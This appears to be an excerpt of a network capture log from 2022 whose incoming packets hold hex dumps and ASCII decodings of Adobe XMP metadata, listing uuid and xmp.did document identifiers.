2022-07-20 07:08:24 UTC	4874	IN	Data Raw: 41 35 39 38 43 31 44 41 45 31 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 43 33 44 34 34 43 30 30 34 42 35 44 45 31 31 38 32 32 45 46 46 44 30 45 44 43 30 43 39 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 43 35 38 41 36 45 41 46 43 38 34 44 45 31 31 42 33 43 43 44 44 46 45 43 43 35 43 34 30 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 43 36 32 42 33 46 37 32 41 39 32 45 30 31 31 39 38 32 42 46 35 39 32 38 34 31 46 31 46 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 43 37 43 37 31 42 38 33 39 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a Data Ascii: A598C1DAE192</rdf:li> <rdf:li>uuid:0C3D44C004B5DE11822EFFD0EDC0C969</rdf:li> <rdf:li>uuid:0C58A6EAFC84DE11B3CCDDFECC5C40DC</rdf:li> <rdf:li>uuid:0C62B3F72A92E011982BF592841F1F8E</rdf:li> <rdf:li>uuid:0C7C71B83946DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:
2022-07-20 07:08:24 UTC	4882	IN	Data Raw: 64 66 3a 6c 69 3e 75 75 69 64 3a 32 36 34 37 30 44 39 33 41 44 44 39 44 45 31 31 42 46 42 36 39 32 32 34 34 30 43 46 42 41 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 36 39 39 37 41 44 46 34 34 34 38 44 45 31 31 39 31 32 41 41 37 45 45 38 41 41 43 36 34 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 36 42 44 32 42 46 44 34 34 42 42 44 46 31 31 39 42 35 46 38 44 39 31 33 32 42 37 33 42 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 36 46 35 38 32 37 37 36 35 34 39 44 46 31 31 38 30 43 32 43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 33 36 36 31 46 33 45 45 35 36 44 46 31 31 38 32 41 31 42 36 42 41 Data Ascii: df:li>uuid:26470D93ADD9DE11BFB6922440CFBAB1</rdf:li> <rdf:li>uuid:26997ADF4448DE11912AA7EE8AAC6478</rdf:li> <rdf:li>uuid:26BD2BFD44BBDF119B5F8D9132B73BB3</rdf:li> <rdf:li>uuid:26F582776549DF1180C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:273661F3EE56DF1182A1B6BA
2022-07-20 07:08:24 UTC	4898	IN	Data Raw: 44 31 35 39 42 37 31 42 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 44 42 35 45 31 38 37 37 44 42 44 46 31 31 41 43 39 35 38 30 37 32 36 45 35 41 44 43 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 39 45 41 38 34 35 45 35 41 43 33 31 31 44 46 41 33 30 45 44 38 31 35 38 43 37 46 39 46 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 31 31 32 46 31 34 37 33 30 36 31 31 44 41 38 35 44 41 38 42 39 33 32 31 36 37 43 31 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 34 36 30 34 30 36 38 45 30 30 45 31 31 31 38 35 31 43 38 36 39 42 34 32 41 31 35 43 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 Data Ascii: D159B71B1E</rdf:li> <rdf:li>uuid:59DB5E1877DBDF11AC9580726E5ADC6C</rdf:li> <rdf:li>uuid:59EA845E5AC311DFA30ED8158C7F9F78</rdf:li> <rdf:li>uuid:5A112F14730611DA85DA8B932167C1F8</rdf:li> <rdf:li>uuid:5A4604068E00E111851C869B42A15C60</rdf:li> <rdf:li>uuid:5A
2022-07-20 07:08:24 UTC	4914	IN	Data Raw: 3a 38 43 44 45 45 31 46 31 42 37 30 33 45 30 31 31 39 46 30 30 44 33 36 46 35 38 31 41 31 35 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 44 30 45 41 32 33 35 41 32 36 39 44 45 31 31 38 44 38 33 44 33 31 35 35 41 46 44 42 43 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 44 31 37 38 37 41 45 35 39 30 34 44 46 31 31 38 34 41 41 45 44 39 45 34 43 30 32 44 36 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 44 33 45 36 34 45 38 44 32 37 32 45 32 31 31 42 37 32 45 43 30 38 32 37 30 35 41 44 33 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 44 36 32 45 35 43 35 46 39 34 36 44 46 31 31 41 31 41 43 42 43 32 43 44 36 36 30 43 32 31 32 3c 2f Data Ascii: :8CDEE1F1B703E0119F00D36F581A1532</rdf:li> <rdf:li>uuid:8D0EA235A269DE118D83D3155AFDBCBE</rdf:li> <rdf:li>uuid:8D1787AE5904DF1184AAED9E4C02D6BD</rdf:li> <rdf:li>uuid:8D3E64E8D272E211B72EC082705AD383</rdf:li> <rdf:li>uuid:8D62E5C5F946DF11A1ACBC2CD660C212</
2022-07-20 07:08:24 UTC	4921	IN	Data Raw: 45 38 31 32 45 31 43 37 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 35 35 33 45 37 42 32 42 45 36 37 45 30 31 31 38 43 45 38 38 32 30 34 35 31 46 45 33 37 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 35 35 39 38 41 42 36 33 33 35 31 44 46 31 31 38 45 39 34 39 31 37 35 44 38 45 45 41 45 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 35 37 32 39 39 44 45 34 42 38 33 44 45 31 31 39 43 38 43 43 30 37 37 36 44 43 34 46 32 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 35 44 37 41 43 32 30 41 35 33 34 44 43 31 31 38 32 41 34 46 33 38 39 33 42 44 43 44 43 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 35 Data Ascii: E812E1C791</rdf:li> <rdf:li>uuid:A553E7B2BE67E0118CE8820451FE3797</rdf:li> <rdf:li>uuid:A5598AB63351DF118E949175D8EEAE87</rdf:li> <rdf:li>uuid:A57299DE4B83DE119C8CC0776DC4F2D1</rdf:li> <rdf:li>uuid:A5D7AC20A534DC1182A4F3893BDCDC71</rdf:li> <rdf:li>uuid:A5
2022-07-20 07:08:24 UTC	4937	IN	Data Raw: 66 3a 6c 69 3e 75 75 69 64 3a 45 30 39 31 33 44 32 44 33 36 46 42 31 31 44 45 42 38 38 30 43 36 33 39 35 39 32 33 44 46 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 30 43 34 34 39 35 34 38 37 36 32 31 31 44 45 38 44 45 46 39 43 39 35 42 41 30 35 46 45 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 31 33 36 45 35 44 37 34 30 43 33 44 43 31 31 38 41 30 46 41 43 45 38 46 36 42 44 32 45 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 31 36 37 42 41 46 46 45 45 44 37 44 42 31 31 42 39 44 41 42 34 46 30 30 32 36 34 45 35 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 31 41 30 43 35 43 30 45 46 37 35 44 44 31 31 42 45 46 31 42 37 46 33 42 Data Ascii: f:li>uuid:E0913D2D36FB11DEB880C6395923DF8B</rdf:li> <rdf:li>uuid:E0C44954876211DE8DEF9C95BA05FED3</rdf:li> <rdf:li>uuid:E136E5D740C3DC118A0FACE8F6BD2ED9</rdf:li> <rdf:li>uuid:E167BAFFEED7DB11B9DAB4F00264E51B</rdf:li> <rdf:li>uuid:E1A0C5C0EF75DD11BEF1B7F3B
2022-07-20 07:08:24 UTC	4953	IN	Data Raw: 34 30 37 32 30 36 38 31 31 39 32 42 30 43 39 33 33 42 41 38 43 45 41 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 44 30 41 30 31 43 36 43 44 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 30 38 39 46 39 35 43 38 30 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 36 38 36 37 41 30 35 33 41 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 44 38 34 45 39 38 36 44 34 36 Data Ascii: 40720681192B0C933BA8CEAA8</rdf:li> <rdf:li>xmp.did:018011740720681192B0CD0A01C6CD1C</rdf:li> <rdf:li>xmp.did:018011740720681192B0D089F95C80D7</rdf:li> <rdf:li>xmp.did:018011740720681192B0D6867A053A75</rdf:li> <rdf:li>xmp.did:018011740720681192B0D84E986D46
2022-07-20 07:08:24 UTC	4961	IN	Data Raw: 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 36 44 38 45 34 31 32 32 31 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 35 44 43 32 32 39 39 35 37 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 46 35 39 41 34 45 46 36 45 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 33 32 39 33 44 33 37 39 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 Data Ascii: mp.did:02801174072068119109E6D8E4122179</rdf:li> <rdf:li>xmp.did:02801174072068119109F5DC2299578C</rdf:li> <rdf:li>xmp.did:028011740720681192B09F59A4EF6E2F</rdf:li> <rdf:li>xmp.did:028011740720681192B0B3293D379CEF</rdf:li> <rdf:li>xmp.did:0280117407206811
2022-07-20 07:08:25 UTC	6858	IN	Data Raw: 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 42 45 43 32 37 43 42 41 45 31 30 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 36 39 39 42 43 43 46 31 30 37 38 39 39 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 38 34 30 45 44 35 37 44 37 33 36 37 33 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 36 31 66 31 2d 65 39 62 62 2d 39 33 34 38 2d 62 63 36 37 2d 63 62 64 65 65 37 37 36 31 62 36 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 38 38 64 39 65 2d 31 35 36 37 2d 31 66 34 30 2d 38 39 63 Data Ascii: 0117407206811B1BEC27CBAE10711</rdf:li> <rdf:li>xmp.did:0680117407206811B699BCCF107899B0</rdf:li> <rdf:li>xmp.did:0680117407206811B840ED57D7367369</rdf:li> <rdf:li>xmp.did:068061f1-e9bb-9348-bc67-cbdee7761b6b</rdf:li> <rdf:li>xmp.did:06888d9e-1567-1f40-89c
2022-07-20 07:08:25 UTC	6874	IN	Data Raw: 38 2d 31 32 34 32 2d 39 38 39 64 2d 34 61 38 35 62 35 62 37 31 64 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 64 39 35 32 32 63 34 2d 37 63 33 36 2d 34 35 61 63 2d 38 64 66 36 2d 33 65 61 62 31 33 31 64 64 32 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 64 39 65 31 32 33 33 2d 33 30 38 39 2d 34 38 63 64 2d 62 33 39 30 2d 37 37 66 66 36 30 30 34 65 64 30 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 64 61 63 64 61 62 61 2d 33 30 33 39 2d 34 32 63 36 2d 61 35 38 63 2d 63 61 65 35 64 35 64 38 62 32 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 64 64 61 64 61 33 62 2d 65 34 32 63 2d 34 34 36 39 2d Data Ascii: 8-1242-989d-4a85b5b71db1</rdf:li> <rdf:li>xmp.did:0d9522c4-7c36-45ac-8df6-3eab131dd2a5</rdf:li> <rdf:li>xmp.did:0d9e1233-3089-48cd-b390-77ff6004ed0a</rdf:li> <rdf:li>xmp.did:0dacdaba-3039-42c6-a58c-cae5d5d8b296</rdf:li> <rdf:li>xmp.did:0ddada3b-e42c-4469-
2022-07-20 07:08:25 UTC	6881	IN	Data Raw: 41 35 46 32 31 45 33 31 35 43 45 30 31 31 41 46 35 35 46 32 39 42 39 44 36 36 42 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 42 36 42 30 39 45 31 42 46 43 45 30 31 31 42 34 31 33 41 44 33 34 32 39 42 35 44 35 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 42 43 44 36 33 34 34 32 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 45 32 41 45 37 37 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 46 39 34 41 38 44 41 39 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 Data Ascii: A5F21E315CE011AF55F29B9D66B323</rdf:li> <rdf:li>xmp.did:16B6B09E1BFCE011B413AD3429B5D5D6</rdf:li> <rdf:li>xmp.did:16BCD63442266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:16E2AE77982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:16F94A8DA9226811822A9E418
2022-07-20 07:08:25 UTC	6897	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 32 35 36 37 39 30 41 33 42 36 37 44 45 33 31 31 38 34 34 32 38 33 32 45 42 37 32 38 32 46 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 38 34 30 45 36 30 33 35 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 38 36 37 37 37 41 45 39 33 37 31 31 45 34 39 38 43 31 42 46 34 34 31 30 32 30 35 43 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 38 36 42 42 43 36 31 42 32 30 36 Data Ascii: i>xmp.did:256790A3B67DE3118442832EB7282F36</rdf:li> <rdf:li>xmp.did:257A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:25840E6035206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:2586777AE93711E498C1BF4410205C48</rdf:li> <rdf:li>xmp.did:2586BBC61B206
2022-07-20 07:08:25 UTC	6913	IN	Data Raw: 43 33 38 43 36 38 33 41 45 30 31 31 42 31 32 45 45 39 31 34 44 30 43 31 34 46 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 30 35 35 62 31 2d 30 62 34 66 2d 34 65 64 37 2d 39 31 63 33 2d 64 39 37 33 62 66 37 61 30 35 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 32 38 31 66 33 2d 62 38 63 30 2d 61 65 34 37 2d 62 31 38 32 2d 65 38 65 38 34 61 63 63 34 38 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 32 64 66 31 35 2d 61 63 64 38 2d 34 34 61 64 2d 61 34 64 65 2d 66 62 63 39 62 35 64 35 64 63 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 36 65 62 35 33 37 2d 36 30 33 31 2d 61 Data Ascii: C38C683AE011B12EE914D0C14FAC</rdf:li> <rdf:li>xmp.did:335055b1-0b4f-4ed7-91c3-d973bf7a05f8</rdf:li> <rdf:li>xmp.did:335281f3-b8c0-ae47-b182-e8e84acc483b</rdf:li> <rdf:li>xmp.did:3352df15-acd8-44ad-a4de-fbc9b5d5dc3e</rdf:li> <rdf:li>xmp.did:336eb537-6031-a
2022-07-20 07:08:25 UTC	6921	IN	Data Raw: 30 35 32 32 64 33 62 30 61 30 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 37 43 45 30 35 44 44 37 33 43 45 33 31 31 42 32 45 44 43 44 33 39 44 32 34 30 36 37 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 37 45 43 41 43 41 41 33 32 31 36 38 31 31 38 46 36 32 46 37 43 31 44 33 35 41 33 46 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 38 34 41 35 43 37 46 37 32 30 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 39 38 46 43 38 30 32 46 35 39 37 31 31 45 33 39 46 45 32 38 34 30 36 38 32 44 42 41 33 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: 0522d3b0a092</rdf:li> <rdf:li>xmp.did:397CE05DD73CE311B2EDCD39D24067DA</rdf:li> <rdf:li>xmp.did:397ECACAA32168118F62F7C1D35A3FF3</rdf:li> <rdf:li>xmp.did:3984A5C7F72068118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:398FC802F59711E39FE2840682DBA3A3</rdf:li> <
2022-07-20 07:08:25 UTC	6937	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 36 38 45 38 37 30 41 33 44 41 45 31 31 31 38 30 39 42 41 33 30 37 38 37 38 39 39 31 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 36 43 32 45 35 41 39 45 39 45 44 46 31 31 42 37 35 38 45 30 39 35 32 32 44 30 44 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 38 35 31 31 44 33 30 43 32 30 36 38 31 31 41 46 46 44 41 45 46 42 31 32 31 46 45 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 38 35 39 34 41 36 30 42 32 30 36 38 31 31 38 30 38 33 45 32 34 31 32 30 39 39 43 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: df:li> <rdf:li>xmp.did:4768E870A3DAE111809BA3078789916D</rdf:li> <rdf:li>xmp.did:476C2E5A9E9EDF11B758E09522D0D034</rdf:li> <rdf:li>xmp.did:478511D30C206811AFFDAEFB121FE394</rdf:li> <rdf:li>xmp.did:478594A60B2068118083E2412099CEDA</rdf:li> <rdf:li>xmp.did:
2022-07-20 07:08:25 UTC	6953	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 38 39 31 32 39 45 30 38 32 30 36 38 31 31 39 32 42 30 44 45 36 45 32 32 44 33 34 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 39 45 41 32 30 46 30 37 32 34 36 38 31 31 42 39 45 37 41 31 39 33 37 31 46 32 38 38 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 41 34 44 36 43 32 35 44 32 33 36 38 31 31 41 35 42 45 44 45 41 39 30 36 32 41 44 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 41 37 39 30 43 37 30 38 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: df:li> <rdf:li>xmp.did:5589129E0820681192B0DE6E22D34D0A</rdf:li> <rdf:li>xmp.did:559EA20F07246811B9E7A19371F288B7</rdf:li> <rdf:li>xmp.did:55A4D6C25D236811A5BEDEA9062AD9C9</rdf:li> <rdf:li>xmp.did:55A790C70820681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:
2022-07-20 07:08:25 UTC	6961	IN	Data Raw: 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 37 46 41 45 35 38 34 35 32 35 45 30 31 31 39 35 32 34 41 36 33 44 34 36 36 44 37 31 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 38 36 34 30 44 42 30 36 32 33 36 38 31 31 42 44 33 35 39 32 31 36 34 43 37 30 37 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 38 46 36 39 46 43 36 36 41 39 45 31 31 31 42 31 30 43 43 46 30 44 31 33 43 39 37 33 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 41 45 37 34 31 39 33 35 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 7E3229B110C</rdf:li> <rdf:li>xmp.did:5F7FAE584525E0119524A63D466D7152</rdf:li> <rdf:li>xmp.did:5F8640DB06236811BD3592164C70701D</rdf:li> <rdf:li>xmp.did:5F8F69FC66A9E111B10CCF0D13C9737D</rdf:li> <rdf:li>xmp.did:5FAE74193520681195FED8BDF841C77D</rdf:li> <r
2022-07-20 07:08:25 UTC	6977	IN	Data Raw: 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 43 39 32 36 42 39 37 35 44 46 45 35 31 31 38 36 31 35 43 31 33 45 35 38 42 42 32 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 44 33 45 45 38 30 31 32 32 31 36 38 31 31 39 32 42 30 46 46 35 36 43 33 43 46 41 42 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 44 39 38 43 30 36 44 32 32 30 36 38 31 31 38 41 36 44 45 41 41 36 46 43 42 45 37 30 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 44 44 46 38 30 37 36 44 30 44 31 31 45 31 39 42 46 45 38 39 34 45 39 46 36 41 36 41 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 8</rdf:li> <rdf:li>xmp.did:6BC926B975DFE5118615C13E58BB2D7F</rdf:li> <rdf:li>xmp.did:6BD3EE801221681192B0FF56C3CFAB21</rdf:li> <rdf:li>xmp.did:6BD98C06D22068118A6DEAA6FCBE70D2</rdf:li> <rdf:li>xmp.did:6BDDF8076D0D11E19BFE894E9F6A6A4C</rdf:li> <rdf:li>xmp.
2022-07-20 07:08:25 UTC	6993	IN	Data Raw: 46 31 33 46 35 39 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 34 35 37 62 32 36 2d 39 64 34 35 2d 38 38 34 39 2d 61 64 37 39 2d 66 31 37 34 30 38 63 37 61 31 65 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 37 33 42 37 34 43 30 42 32 30 36 38 31 31 38 43 31 34 46 46 33 41 32 46 35 35 31 46 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 37 33 43 33 46 31 34 42 32 32 36 38 31 31 39 34 35 37 45 36 37 45 45 31 43 44 37 45 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 41 41 46 46 43 36 30 37 32 30 36 38 31 31 38 43 31 34 41 30 45 42 30 30 45 36 39 43 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: F13F595CF</rdf:li> <rdf:li>xmp.did:79457b26-9d45-8849-ad79-f17408c7a1e0</rdf:li> <rdf:li>xmp.did:7973B74C0B2068118C14FF3A2F551F04</rdf:li> <rdf:li>xmp.did:7973C3F14B2268119457E67EE1CD7E14</rdf:li> <rdf:li>xmp.did:79AAFFC6072068118C14A0EB00E69CED</rdf:li>
